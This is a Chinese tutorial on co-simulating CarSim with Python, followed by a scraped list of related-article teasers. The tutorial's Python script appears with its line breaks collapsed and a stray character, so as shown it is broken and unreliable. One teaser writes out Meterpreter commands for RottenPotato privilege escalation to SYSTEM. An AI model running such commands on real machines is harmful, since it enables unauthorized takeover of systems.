自动驾驶仿真:python和carsim联合仿真案例

文章目录

  • 前言
  • 一、Carsim官方案例
  • 二、Carsim配置
    • 1、车辆模型
    • 2、procedure配置
    • 3、Run Control配置
  • 三、python编写
  • 四、运行carsim
  • 五、运行python
  • 总结


前言

carsim内部有许多相关联合仿真的demo,simulink、labview等等都有涉及,这里简单介绍下python和carsim联合仿真的方法,虽然carsim官方有个Steer_Control.py相关的案例,但是感觉比较冗余,这里抽出重点部分和大家交流探讨下。


提示:以下是本篇文章正文内容,下面案例可供参考

一、Carsim官方案例

在carsim项目文件夹路径下,例:C:\Program Files (x86)\CarSim2022.1_Data\Extensions\Custom_Py,里面有几个案例可以参考下。
在这里插入图片描述

二、Carsim配置

1、车辆模型

1)这里的车辆模型随便选一个就行了
在这里插入图片描述

在这里插入图片描述

2、procedure配置

1)开环的节气门开度控制-油门
2)开环的制动主缸压力控制-刹车
3)开环的方向盘角度控制
4)运行条件选择Run forver
在这里插入图片描述

3、Run Control配置

1)选择运行模型为:Self-Contained Solvers
在这里插入图片描述
2)选择类型为C Wrapper,64-bit
在这里插入图片描述
3)按照默认选择外部的解释器
在这里插入图片描述
4)配置输入分别为:节气门开度,制动主缸压力,方向盘角度
在这里插入图片描述
5)配置输出
在这里插入图片描述

三、python编写

1)第一步先找到vs_solver.py,用于调用simfile获取相关carsim dll的引用。vs_solver.py路径在C:\Program Files (x86)\CarSim2022.1_Data\Extensions\Custom_Py,我们在下面代码中会引用vs_solver.py。

2)代码部分都很简单,一个是import vs_solver,另外一个比较重要的是simfile的路径需要填写,一般在你创建项目目录下如:C:\Program Files (x86)\CarSim2022.1_Data\simfile.sim,这个一定要根据你项目路径来填写。

import os
import keyboard
import ctypes
import vs_solverclass carsim_simulation():def __init__(self):self.simfile_path = r'C:\Program Files (x86)\CarSim2022.1_Data\simfile.sim'self.vs = vs_solver.vs_solver()self.vs_dll_exist_flag = self.vs_dll_is_exist()self.configuration = self.vs.read_configuration(self.simfile_path)def vs_dll_is_exist(self):dll_path = self.vs.get_dll_path(self.simfile_path)if dll_path is not None and os.path.exists(dll_path):vs_dll = ctypes.cdll.LoadLibrary(dll_path)if self.vs.get_api(vs_dll):exist_flag = Trueelse:exist_flag = Falseprint(f'can not get dll api, please check the dll {dll_path}')else:exist_flag = Falseprint(f'please check dll_path or simfile_path existence or not')return exist_flagdef get_export_array(self):return self.vs.copy_export_vars(carsim_sim.configuration.get('n_export'))def get_time_step(self):return self.configuration.get('t_step')def stop(self, t_current):self.vs.terminate_run(t_current)if __name__ == '__main__':carsim_sim = carsim_simulation()t_current = carsim_sim.get_time_step()export_array = carsim_sim.get_export_array()status = 0while status == 0:#更新当前时间t_current = t_current + carsim_sim.get_time_step()import_array = [0.1, 0, 0]
3        status, export_array = carsim_sim.vs.integrate_io(t_current, import_array, export_array)print(f'current_x: {export_array[0]}, current_y: {export_array[6]}')if keyboard.is_pressed('q'):carsim_sim.stop(t_current)break

四、运行carsim

1)运行carsim等待几秒会出现黑窗,然后关掉黑窗即可。
在这里插入图片描述

五、运行python

1)运行python脚本之后结果哗啦啦就出来了,就很简单。

在这里插入图片描述

总结

1、这里关于solvers的细节其实都没说,因为里面确实也没什么内容好讲的,本质就是调用carsim.dll,如果你需要更多的函数解析其实可以看vs_api.h,路径在C:\Program Files (x86)\CarSim2022.1_Data\Extensions\Custom_C\common,具体内容如下图所示。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/341269.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RTOS笔记--任务状态与调度

任务状态 freertos中的任务分为四个状态:就绪状态(ready)、运行状态(running)、阻塞状态(blocked)、暂停状态(suspended) 完整的任务状态转换图: 在使用vTas…

NGINX之location和rewrite

一.NGINX常用的正则表达式 二.Location location作用:对访问的路径做访问控制或者代理转发 1.location 常用的匹配规则: 进行普通字符精确匹配,也就是完全匹配^~ / 表示普通字符匹配。使用前缀匹配。如果匹配成功,则不再匹配其它 …

视频号视频提取器有那些?免费版可以下载视频号视频吗?

在网络上,确实存在多种工具和公众号用于下载视频号内容。今天就说说免费的视频提取器有那些? 视频号提取器工具中常见的有公众号和软件。这些工具通常可以帮助用户从微信视频号平台下载视频内容。 但请注意,使用这些工具可能需要考虑版权和法…

使用HTML、CSS和JavaScript编写一个注册界面(一)

倘若文章或代码中有任何错误或疑惑&#xff0c;欢迎提出交流哦~ HTML和CSS 首先&#xff0c;我们需要编写一个简洁的注册界面。 简单编写下&#xff0c;如下&#xff1a; 呈现效果为&#xff1a; <!DOCTYPE html> <html lang"en"><head><me…

AndroidStudio中debug.keystore的创建和配置使用

1.如果没有debug.keystore,可以按照下面方法创建 首先在C:\Users\Admin\.android路径下打开cmd窗口 之后输入命令:keytool -genkey -v -keystore debug.keystore -alias androiddebugkey -keyalg RSA -validity 10000 输入两次密码(密码不可见,打码处随便填写没关系) 2.在build…

恒瑞医药公布创新药卡瑞利珠单抗联合治疗NK/T细胞淋巴瘤研究结果

2024年美国临床肿瘤学会&#xff08;ASCO&#xff09;年会上&#xff0c;由华中科技大学同济医学院附属协和医院张利玲教授团队开展的“卡瑞利珠单抗联合培门冬酶、依托泊苷和大剂量甲氨蝶呤治疗NK/T细胞淋巴瘤患者的II期前瞻性研究(CLAMP研究)”结果入选大会口头报告。北京时间…

Angular17(1):使用Angular CLI创建空项目

要创建一个空的 Angular 项目&#xff0c;可以使用 Angular CLI&#xff08;命令行界面&#xff09;。以下是使用 Angular CLI 创建一个新项目的步骤&#xff1a; 1、安装 Angular CLI&#xff1a; 打开你的命令行界面&#xff08;在 Windows 上是 CMD、PowerShell 或 Git Bas…

IDCF五周年专场—【研发效能·创享大会】圆满落幕!

2024 年5 月25 日&#xff0c;【研发效能创享大会】—IDCF五周年专场在北京希尔顿欢朋酒店&#xff08;大红门&#xff09;成功举办&#xff01;本次大会旨在为社区成员提供一个学习与交流的平台&#xff0c;分享技术经验&#xff0c;交流行业见解&#xff0c;促进技术合作与创…

Socket编程学习笔记之TCP与UDP

Socket&#xff1a; Socket是什么呢&#xff1f; 是一套用于不同主机间通讯的API&#xff0c;是应用层与TCP/IP协议族通信的中间软件抽象层。 是一组接口。在设计模式中&#xff0c;Socket其实就是一个门面模式&#xff0c;它把复杂的TCP/IP协议族隐藏在Socket接口后面&#…

记录第一次http转https

之前小程序用的后端是咸虾米老师的&#xff0c;昨天写小程序就想着自己又不是不会写&#xff1f;用自己的吧&#xff0c;然后发现微信小程序要域名是https协议的。看来又得学新东西了Q-Q 查了下大概要这么几个步骤 1.购买ssl证书 2.通过naginx配置ssl证书 3.将以前的http重定…

【阿里前端面试题】聊聊前端性能优化的方案,解决过什么样的性能问题?

大家好&#xff0c;我是“寻找DX3906”。每天进步一点。日积月累&#xff0c;有朝一日定会厚积薄发&#xff01; 前言&#xff1a; 前面已经和大家分享了4篇面试题&#xff1a; 《【阿里前端面试题】浏览器的加载渲染过程》 《【阿里前端面试题】客户端和服务器交互&#xff…

一键开启:盲盒小程序里的梦幻奇遇

在繁忙的都市生活中&#xff0c;每个人心中都藏着一个关于奇遇的梦想。如今&#xff0c;我们为您精心打造了一款盲盒小程序——“梦幻奇遇”&#xff0c;只需一键开启&#xff0c;就能带您走进一个充满无限惊喜和梦幻色彩的奇幻世界。 一、神秘盲盒&#xff0c;惊喜连连 “梦幻…

【成品设计】基于华大hc32F005c6ua的读取NFC卡

《基于华大hc32F005c6ua的读取NFC卡》 整体功能&#xff1a; 单片机:华大hc32F005c6ua 1、支持单片机spi接口读取nfc读卡器芯片rc522读写数据 2、读取到的数据可以通过单片机uart接口通信&#xff0c;上报给上位机&#xff08;485主机&#xff09; 3、uart接口支持modbus协议…

派派派森03

1.JSON数据 Python数据和Json数据的相互转化 # 导入json模块 import json#准备符合json格式要求的python数据 data [{"name": "老王", "age": 16}, {"name": "张三", "age": 20}]# 通过json.dump(data)方法把pyt…

【5】MySQL数据库备份-XtraBackup - 全量备份

MySQL数据库备份-XtraBackup-全量备份 前言环境版本 安装部署下载RPM 包二进制包 安装卸载 场景分析全量备份 | 恢复备份恢复综合 增量备份 | 恢复部分备份 | 恢复 前言 关于数据库备份的一些常见术语、工具等&#xff0c;可见《MySQL数据库-备份》章节&#xff0c;当前不再重…

windows操作系统提权之服务提权实战rottenpotato

RottenPotato&#xff1a; 将服务帐户本地提权至SYSTEM load incognito list_tokens –u upload /home/kali/Desktop rottenpotato.exe . execute -Hc -f rottenpotato.exe impersonate_token "NT AUTHORITY\SYSTEM" load incognito 这条命令用于加载 Metasploi…

用cocos2d-python绘制游戏开发的新篇章

用cocos2d-python绘制游戏开发的新篇章 第一部分&#xff1a;背景 在游戏开发的世界中&#xff0c;寻找一个强大而灵活的框架至关重要。cocos2d-python是一个Python游戏开发框架&#xff0c;它提供了一套丰富的功能&#xff0c;用于创建2D游戏、图形和交互式应用。基于流行的c…

计算机网络——TCP / IP 网络模型

OSI 七层模型 七层模型是国际标准化的一个网络分层模型&#xff0c;大体结构可以分成七层。每层提供不同的功能。 图片来源 JavaGuide 但是这样七层结构比较复杂&#xff0c;不太实用&#xff0c;所以有了 TCP / IP 模型。 TCP / IP 网络模型 TCP / IP 网络模型可以看作是 O…

Java中常见错误-泛型擦除及桥接方法问题及解决方案

Java中泛型擦除及桥接方法 泛型擦除无界擦除上界擦除下界擦除 桥接方法演示案例wrong1wrong2wrong3right 原理总结 泛型擦除 ​ 泛型擦除是Java泛型机制的一个特性&#xff0c;它意味着**在编译期间&#xff0c;所有的泛型信息都会被移除&#xff0c;而在运行时&#xff0c;所…

[Redis]Zset类型

Zset有序集合相对于字符串、列表、哈希、集合来说会有一些陌生。 它保留了集合不能有重复成员的特点&#xff0c;但与集合不同的是&#xff0c;有序集合中的每个元素都有一个唯一的浮点类型的分数&#xff08;score&#xff09;与之关联&#xff0c;着使得有序集合中的元素是可…